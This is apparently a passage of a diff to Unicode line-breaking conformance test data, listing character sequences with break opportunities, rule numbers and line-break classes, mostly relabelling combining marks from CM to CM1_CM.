+× 007D × 0308 ÷ 50005 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× 007D × 0308 × 0020 ÷ 50005 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
× 007D ÷ 0E01 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) ÷ [999.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
× 007D × 0020 ÷ 0E01 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× 007D × 0308 ÷ 0E01 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× 007D × 0308 × 0020 ÷ 0E01 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 007D × 0308 ÷ 0E01 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 007D × 0308 × 0020 ÷ 0E01 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
× 007D × 3041 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [16.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
× 007D × 0020 × 3041 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [7.01] SPACE (SP) × [16.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× 007D × 0308 × 3041 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM) × [16.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× 007D × 0308 × 0020 × 3041 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [16.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 007D × 0308 × 3041 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [16.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 007D × 0308 × 0020 × 3041 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [16.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
× 0029 × 0023 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [30.02] NUMBER SIGN (AL) ÷ [0.3]
× 0029 × 0020 ÷ 0023 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
-× 0029 × 0308 × 0023 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM) × [30.02] NUMBER SIGN (AL) ÷ [0.3]
-× 0029 × 0308 × 0020 ÷ 0023 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
+× 0029 × 0308 × 0023 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [30.02] NUMBER SIGN (AL) ÷ [0.3]
+× 0029 × 0308 × 0020 ÷ 0023 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
× 0029 ÷ 2014 ÷ # × [0.3] RIGHT PARENTHESIS (CP) ÷ [999.0] EM DASH (B2) ÷ [0.3]
× 0029 × 0020 ÷ 2014 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
-× 0029 × 0308 ÷ 2014 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] EM DASH (B2) ÷ [0.3]
-× 0029 × 0308 × 0020 ÷ 2014 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
+× 0029 × 0308 ÷ 2014 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] EM DASH (B2) ÷ [0.3]
+× 0029 × 0308 × 0020 ÷ 2014 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
× 0029 × 0009 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
× 0029 × 0020 ÷ 0009 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× 0029 × 0308 × 0009 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× 0029 × 0308 × 0020 ÷ 0009 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 0029 × 0308 × 0009 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 0029 × 0308 × 0020 ÷ 0009 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
× 0029 ÷ 00B4 ÷ # × [0.3] RIGHT PARENTHESIS (CP) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
× 0029 × 0020 ÷ 00B4 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
-× 0029 × 0308 ÷ 00B4 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
-× 0029 × 0308 × 0020 ÷ 00B4 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 0029 × 0308 ÷ 00B4 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 0029 × 0308 × 0020 ÷ 00B4 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
× 0029 × 000B ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
× 0029 × 0020 × 000B ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
-× 0029 × 0308 × 000B ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
-× 0029 × 0308 × 0020 × 000B ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 0029 × 0308 × 000B ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 0029 × 0308 × 0020 × 000B ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
× 0029 ÷ FFFC ÷ # × [0.3] RIGHT PARENTHESIS (CP) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
× 0029 × 0020 ÷ FFFC ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× 0029 × 0308 ÷ FFFC ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× 0029 × 0308 × 0020 ÷ FFFC ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 0029 × 0308 ÷ FFFC ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 0029 × 0308 × 0020 ÷ FFFC ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
× 0029 × 007D ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
× 0029 × 0020 × 007D ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× 0029 × 0308 × 007D ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM) × [13.03] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× 0029 × 0308 × 0020 × 007D ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 0029 × 0308 × 007D ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 0029 × 0308 × 0020 × 007D ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
× 0029 × 0029 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
× 0029 × 0020 × 0029 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 0029 × 0308 × 0029 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 0029 × 0308 × 0020 × 0029 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 0029 × 0001 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] <START OF HEADING> (CM) ÷ [0.3]
-× 0029 × 0020 ÷ 0001 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM) ÷ [0.3]
-× 0029 × 0308 × 0001 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM) × [9.0] <START OF HEADING> (CM) ÷ [0.3]
-× 0029 × 0308 × 0020 ÷ 0001 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM) ÷ [0.3]
+× 0029 × 0308 × 0029 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
+× 0029 × 0308 × 0020 × 0029 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
× 0029 × 000D ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
× 0029 × 0020 × 000D ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× 0029 × 0308 × 000D ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× 0029 × 0308 × 0020 × 000D ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 0029 × 0308 × 000D ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 0029 × 0308 × 0020 × 000D ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
× 0029 × 0021 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
× 0029 × 0020 × 0021 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
-× 0029 × 0308 × 0021 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
-× 0029 × 0308 × 0020 × 0021 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 0029 × 0308 × 0021 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 0029 × 0308 × 0020 × 0021 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
× 0029 × 00A0 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [12.1] NO-BREAK SPACE (GL) ÷ [0.3]
× 0029 × 0020 ÷ 00A0 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
-× 0029 × 0308 × 00A0 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM) × [12.2] NO-BREAK SPACE (GL) ÷ [0.3]
-× 0029 × 0308 × 0020 ÷ 00A0 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
+× 0029 × 0308 × 00A0 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [12.2] NO-BREAK SPACE (GL) ÷ [0.3]
+× 0029 × 0308 × 0020 ÷ 00A0 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
× 0029 ÷ AC00 ÷ # × [0.3] RIGHT PARENTHESIS (CP) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
× 0029 × 0020 ÷ AC00 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× 0029 × 0308 ÷ AC00 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× 0029 × 0308 × 0020 ÷ AC00 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 0029 × 0308 ÷ AC00 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 0029 × 0308 × 0020 ÷ AC00 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
× 0029 ÷ AC01 ÷ # × [0.3] RIGHT PARENTHESIS (CP) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
× 0029 × 0020 ÷ AC01 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× 0029 × 0308 ÷ AC01 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× 0029 × 0308 × 0020 ÷ AC01 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 0029 × 0308 ÷ AC01 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 0029 × 0308 × 0020 ÷ AC01 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
× 0029 × 05D0 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [30.02] HEBREW LETTER ALEF (HL) ÷ [0.3]
× 0029 × 0020 ÷ 05D0 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× 0029 × 0308 × 05D0 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM) × [30.02] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× 0029 × 0308 × 0020 ÷ 05D0 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 0029 × 0308 × 05D0 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [30.02] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 0029 × 0308 × 0020 ÷ 05D0 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
× 0029 × 002D ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
× 0029 × 0020 ÷ 002D ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
-× 0029 × 0308 × 002D ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
-× 0029 × 0308 × 0020 ÷ 002D ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
+× 0029 × 0308 × 002D ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
+× 0029 × 0308 × 0020 ÷ 002D ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
× 0029 ÷ 231A ÷ # × [0.3] RIGHT PARENTHESIS (CP) ÷ [999.0] WATCH (ID) ÷ [0.3]
× 0029 × 0020 ÷ 231A ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
-× 0029 × 0308 ÷ 231A ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] WATCH (ID) ÷ [0.3]
-× 0029 × 0308 × 0020 ÷ 231A ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
+× 0029 × 0308 ÷ 231A ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] WATCH (ID) ÷ [0.3]
+× 0029 × 0308 × 0020 ÷ 231A ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
× 0029 ÷ 2024 ÷ # × [0.3] RIGHT PARENTHESIS (CP) ÷ [999.0] ONE DOT LEADER (IN) ÷ [0.3]
× 0029 × 0020 ÷ 2024 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
-× 0029 × 0308 ÷ 2024 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] ONE DOT LEADER (IN) ÷ [0.3]
-× 0029 × 0308 × 0020 ÷ 2024 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
+× 0029 × 0308 ÷ 2024 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] ONE DOT LEADER (IN) ÷ [0.3]
+× 0029 × 0308 × 0020 ÷ 2024 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
× 0029 × 002C ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [13.02] COMMA (IS) ÷ [0.3]
× 0029 × 0020 × 002C ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
-× 0029 × 0308 × 002C ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM) × [13.03] COMMA (IS) ÷ [0.3]
-× 0029 × 0308 × 0020 × 002C ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
+× 0029 × 0308 × 002C ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] COMMA (IS) ÷ [0.3]
+× 0029 × 0308 × 0020 × 002C ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
× 0029 ÷ 1100 ÷ # × [0.3] RIGHT PARENTHESIS (CP) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
× 0029 × 0020 ÷ 1100 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× 0029 × 0308 ÷ 1100 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× 0029 × 0308 × 0020 ÷ 1100 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 0029 × 0308 ÷ 1100 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 0029 × 0308 × 0020 ÷ 1100 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
× 0029 ÷ 11A8 ÷ # × [0.3] RIGHT PARENTHESIS (CP) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
× 0029 × 0020 ÷ 11A8 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× 0029 × 0308 ÷ 11A8 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× 0029 × 0308 × 0020 ÷ 11A8 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 0029 × 0308 ÷ 11A8 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 0029 × 0308 × 0020 ÷ 11A8 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
× 0029 ÷ 1160 ÷ # × [0.3] RIGHT PARENTHESIS (CP) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
× 0029 × 0020 ÷ 1160 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
-× 0029 × 0308 ÷ 1160 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
-× 0029 × 0308 × 0020 ÷ 1160 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 0029 × 0308 ÷ 1160 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 0029 × 0308 × 0020 ÷ 1160 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
× 0029 × 000A ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
